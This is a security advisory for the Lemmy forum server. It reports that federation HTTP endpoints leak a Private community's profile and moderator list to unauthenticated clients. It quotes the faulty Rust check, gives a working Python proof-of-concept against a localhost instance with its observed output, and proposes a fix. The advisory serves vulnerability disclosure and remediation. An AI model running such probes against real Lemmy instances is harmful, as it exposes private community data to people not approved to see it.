Skip to content

Private community profile and moderators leak via federation HTTP

Low
Nutomic published GHSA-9wj2-3cv5-cqrx May 18, 2026

Package

No package listed

Affected versions

<= 1.0.0-alpha.18

Patched versions

None

Description

NOTE: Only affects development version.

Summary

The federation HTTP endpoints for a community profile, moderators list,
and tags accept any unauthenticated remote client even when the community
has visibility = Private. This is the federation-HTTP analogue of
GHSA-95q8-x6r6-672m; that advisory's patch only covered CommunityView.

Details

crates/apub/apub/src/http/mod.rs:117-122:

fn check_community_fetchable(community: &Community) -> LemmyResult<()> {
  if !community.visibility.can_federate() {
    return Err(LemmyErrorType::NotFound.into());
  }
  Ok(())
}

And crates/db_schema_file/src/enums.rs:143-152:

impl CommunityVisibility {
  pub fn can_federate(&self) -> bool {
    self != &LocalOnlyPublic && self != &LocalOnlyPrivate
  }
  pub fn can_view_without_login(&self) -> bool {
    self == &Public || self == &LocalOnlyPublic
  }
}

Private.can_federate() == true, so check_community_fetchable accepts
Private. The endpoints affected are:

  • get_apub_community_http (http/community.rs:55) — Group profile
    (title, sidebar, summary, banner, public key).
  • get_apub_community_moderators (http/community.rs:148) — moderators
    collection.
  • get_apub_community_tag_http (http/community.rs:217) — community
    tags.

Only the outbox / featured / followers endpoints route through
check_community_content_fetchable, which requires a signed fetch from
an approved follower's instance.

PoC

"""M-1 PoC: Private community profile / moderators leak via federation HTTP."""
import random, string, requests

BASE = "http://127.0.0.1:8536"

def req(method, path, token=None, params=None, **body):
    headers = {"Authorization": "Bearer " + token} if token else {}
    return requests.request(method, BASE + "/api/v4" + path,
                            headers=headers, params=params, json=body or None)

def show(label, response, marker):
    text = response.text
    print(f"\n{label}: HTTP {response.status_code}")
    print(text[:600])
    print("contains marker:", marker in text)

suffix = "poc" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
secret = "SECRET_" + suffix

admin = req("POST", "/account/auth/login",
            username_or_email="lemmy", password="lemmylemmy").json()["jwt"]

community = req("POST", "/community", admin,
    name="priv" + suffix,
    title="Private " + suffix,
    sidebar=secret + " sidebar",
    description=secret + " description",
    visibility="private",
).json()["community_view"]["community"]
print("created private community:", community["name"],
      "visibility:", community["visibility"])

ap = {"Accept": "application/activity+json"}
show("Unauthenticated AP fetch of /c/<name>",
     requests.get(f"{BASE}/c/{community['name']}", headers=ap), secret)
show("Unauthenticated AP fetch of /c/<name>/moderators",
     requests.get(f"{BASE}/c/{community['name']}/moderators", headers=ap), secret)

# Control: in-app API view DOES gate Private communities.
api_unauth = requests.get(f"{BASE}/api/v4/community",
                          params={"name": community["name"]})
print(f"\nControl: /api/v4/community unauth -> HTTP {api_unauth.status_code}")
print("contains marker:", secret in api_unauth.text)

Observed output:

Unauthenticated AP fetch of /c/<name>: HTTP 200
{ ..., "summary": "SECRET_pocejghxp sidebar", ... }
contains marker: True

Unauthenticated AP fetch of /c/<name>/moderators: HTTP 200
{ "type": "OrderedCollection", "orderedItems": ["http://localhost/u/lemmy"] }

Control: /api/v4/community unauthenticated -> HTTP 404

Impact

Disclosure of Private community metadata (sidebar, summary, banner,
moderators list) to anyone with the community URL, bypassing the approval
workflow that gates the in-app API view.

Fix

Route the affected endpoints through check_community_content_fetchable
for Private communities, or replace can_federate() with
can_view_without_login() in the unauthenticated profile/moderators
handlers and require signed-fetch otherwise.

Severity

Low

CVE ID

No known CVE

Weaknesses

No CWEs